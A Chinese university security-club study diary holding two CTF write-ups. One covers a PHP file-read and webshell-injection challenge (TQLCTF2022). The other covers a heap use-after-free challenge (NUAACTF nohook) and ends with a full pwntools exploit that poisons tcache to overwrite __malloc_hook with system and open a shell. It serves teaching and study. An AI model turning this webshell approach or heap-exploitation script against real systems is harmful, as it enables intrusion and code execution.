皮蛋厂的学习日记系列为山东警察学院网安社成员日常学习分享,希望能与大家共同学习、共同进步~
-
2020级 sp4c1ous | [TQLCTF2022]Simple PHP
-
2020级 大能猫 | 2021NUAACTF-nohook (UAF、edit检测hook、花指令)
-
例行检查
-
逆向分析
-
利用思路
WEB
2020级 sp4c1osu | [TQLCTF2022]Simple PHP
登陆后是一个登陆和注册页面,先随便注册一个,登陆一下
里面是这个样子的,随便点了点,看了一瞎源码,大概有这么几个地方比较可疑
在经过尝试后,发现上面的第一处存在任意文件读取,把几个页面的源码读一下 只截取有用的部分了
index.php
<?php
error_reporting(0);
if(isset($_POST['user']) && isset($_POST['pass'])){
$hash_user = md5($_POST['user']);
$hash_pass = 'zsf'.md5($_POST['pass']);
if(isset($_POST['punctuation'])){
//filter
if (strlen($_POST['user']) > 6){
echo("<script>alert('Username is too long!');</script>");
}
elseif(strlen($_POST['website']) > 25){
echo("<script>alert('Website is too long!');</script>");
}
elseif(strlen($_POST['punctuation']) > 1000){
echo("<script>alert('Punctuation is too long!');</script>");
}
else{
if(preg_match('/[^w/()*<>]/', $_POST['user']) === 0){
if (preg_match('/[^w/*:.;()n<>]/', $_POST['website']) === 0){
$_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>?]/","",$_POST['punctuation']);
$template = file_get_contents('./template.html');
$content = str_replace("__USER__", $_POST['user'], $template);
$content = str_replace("__PASS__", $hash_pass, $content);
$content = str_replace("__WEBSITE__", $_POST['website'], $content);
$content = str_replace("__PUNC__", $_POST['punctuation'], $content);
file_put_contents('sandbox/'.$hash_user.'.php', $content);
echo("<script>alert('Successed!');</script>");
}
else{
echo("<script>alert('Invalid chars in website!');</script>");
}
}
else{
echo("<script>alert('Invalid chars in username!');</script>");
}
}
}
else{
setcookie("user", $_POST['user'], time()+3600);
setcookie("pass", $hash_pass, time()+3600);
Header("Location:sandbox/$hash_user.php");
}
}
?>
还有生成的php文件,这里根据index.php的源码重新注册了一个账号,看一下出现的位置
这里我们可以发现,直接写无数字字母webshell是不可能的,没有问号啊
考虑方向:
-
没有问号的标签
<% %>
、<script language='php'></script>
但是这里显然也不成立 >也被过滤了
-
借用原有标签
这一个方向显然不是一开始我就能想出来的,不然就不会这么坐牢了QAQ
结合上面的生成文件的截图,以及index里对两个输入的过滤,我们可以发现,我们好像能够构造出来一个webshell了。
首先我们可以将中间的部分注释,这样我们的内容就可以当作php解析了
剩下的就是在/[a-z,A-Z,0-9>?]/
的条件下写一个无数字字母webshell了 P牛的文章里好几种都可以用
打进去后会报错,但是可以执行代码,回显在源码中
PWN
大能猫 2020级|2021NUAACTF-nohook (UAF、edit检测hook、花指令)
例行检查
保护全开
逆向分析
main()看起来是一道菜单题目
sub_1228()函数跟进之后是坏掉的
我们直接查看汇编,发现只是我们常见的三个setbuf操作
下面标识是从1229开始,这也对应了调用的时候的+1操作
sub_128E()
是一个菜单函数,有增查删改四个功能
删除的里面有个uaf漏洞
edit函数
查看此函数的伪代码没有什么特别的,但是结合汇编之后就有了新的看法
另有蹊跷(我不会去花指令呜呜呜呜呜呜呜
去掉花指令之后我们得到了这样的代码:(piao的
__int64 edit()
{
__int64 result; // rax
int v1; // [rsp+14h] [rbp-4h]
puts("id:");
result = itoll_read();
v1 = result;
if ( (unsigned int)result <= 0x1F )
{
result = qword_4080[(unsigned int)result];
if ( result )
{
read(0, (void *)qword_4080[v1], dword_4180[v1]);
if ( *(_QWORD *)off_4018 || (result = *(_QWORD *)off_4020) != 0 ) // *(long long*)freehk!=0||*(long long*)mallochk!=0
{
*(_QWORD *)off_4018 = 0LL;
result = (__int64)off_4020;
*(_QWORD *)off_4020 = 0LL;
}
}
}
return result;
}
我们找到两个偏移,通过调试我们发现这两个一个是freehook,一个是malloachook,当他们不为零的时候置零,这样的话我们就不能正常的去写入onegadget去执行,而是要另想办法去搞。
利用思路
存在UAF漏洞,通过ub泄露libc,tcache bin attack将tcache执行system,然后狗仔tcache执行malloachook,我们得到tcache链表里面的顺序为:mallochook->system,这样的话malloc中就会出现system的地址。
泄露libc
add(0x420)#0 large bin
add(0x10)#1
edit(1,'/bin/shx00')
delete(0) # free to unsorted bin
show(0) # UAF
sh.recvuntil('x7fx00x00')
libcbase = u64(sh.recv(6).ljust(8,b'x00')) + 0x7f2be7c93000 - 0x7f2be7e7ebe0
binsh = libcbase + 0x7f7c9aa4c5aa - 0x7f7c9a895000
print hex(libcbase)
有uaf,我们就释放一个ub大小的堆块然后show就可以得到libc地址。
将堆块分配到mallochook中,并构造出堆块的size
add(0x420)#0 large bin
add(0x10)#1
edit(1,'/bin/shx00')
dele(0) # free to unsorted bin
show(0) # UAF
sh.recvuntil('x7fx00x00')
libcbase = u64(sh.recv(6).ljust(8,b'x00')) + 0x7f2be7c93000 - 0x7f2be7e7ebe0
binsh = libcbase + 0x7f7c9aa4c5aa - 0x7f7c9a895000
print hex(libcbase)
申请0x20大小的堆块,随后通过tcachebinattack 申请到刚刚构造的堆块去
add(0x10)#6
add(0x10)#7
dele(7)
dele(6)
edit(6,p64(libcbase+libc.sym['__malloc_hook']))
add(0x10)#8-6
add(0x10)#9 malloac_hook
然后我们用相同的办法申请到system
add(0x10)#14
add(0x10)#15
dele(15)
dele(14)
edit(14,p64(libcbase+libc.sym['system']))
add(0x10)
然后此时我们tcachebin中是这样的
0x20的指针指向了system,这样的话我们就可以将malloc那个堆块释放进入tcache
如下
这就成功写入了
好了
Exp
#utf-8
from pwn import *
context.log_level='debug'
sh = process('./nohook')
libc = ELF('./libc-2.31.so')
def add(size):
sh.recvuntil('exit')
sh.sendline('1')
sh.recvuntil('size:')
sh.sendline(str(size))
def dele(idx):
sh.recvuntil('exit')
sh.sendline('3')
sh.recvuntil('id:')
sh.sendline(str(idx))
def edit(idx,content):
sh.recvuntil('exit')
sh.sendline('4')
sh.recvuntil('id:')
sh.sendline(str(idx))
sh.send(content)
def show(idx):
sh.recvuntil('exit')
sh.sendline('2')
sh.recvuntil('id:')
sh.sendline(str(idx))
add(0x420)#0
add(0x10)#1
edit(1,'/bin/shx00')
dele(0)
show(0)
sh.recvuntil('x7fx00x00')
libcbase = u64(sh.recv(6).ljust(8,b'x00')) + 0x7f2be7c93000 - 0x7f2be7e7ebe0
binsh = libcbase + 0x7f7c9aa4c5aa - 0x7f7c9a895000
print(hex(libcbase))
print(hex(binsh))
add(0x30)#2
add(0x30)#3
dele(3)
dele(2)
edit(2,p64(libcbase+libc.sym['__malloc_hook']-0x10))
malloc = libcbase+libc.sym['__malloc_hook']-0x10
#gdb.attach(sh)
add(0x30)#4 -2
add(0x30)#5 __malloc_hook-0x10
edit(5,p64(0)+p64(0x21)+p64(0)*2+p64(0)+p64(0x21))
add(0x10)#6
print(hex(malloc))
add(0x10)#7
dele(7)
dele(6)
edit(6,p64(libcbase+libc.sym['__malloc_hook']))
add(0x10)#8 -6
add(0x10)#9 f
add(0x10)#10
add(0x10)#11
dele(11)
dele(10)
edit(10,p64(libcbase+libc.sym['system']))
#gdb.attach(sh)
add(0x10)
#gdb.attach(sh)
dele(9)
gdb.attach(sh)
add(str(binsh-1))
log.success(hex(libcbase))
sh.interactive()
原文始发于微信公众号(山警网络空间安全实验室):皮蛋厂的学习日记 | 2022.03.02 [TQLCTF2022]Simple PHP&2021NUAACTF-nohook
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论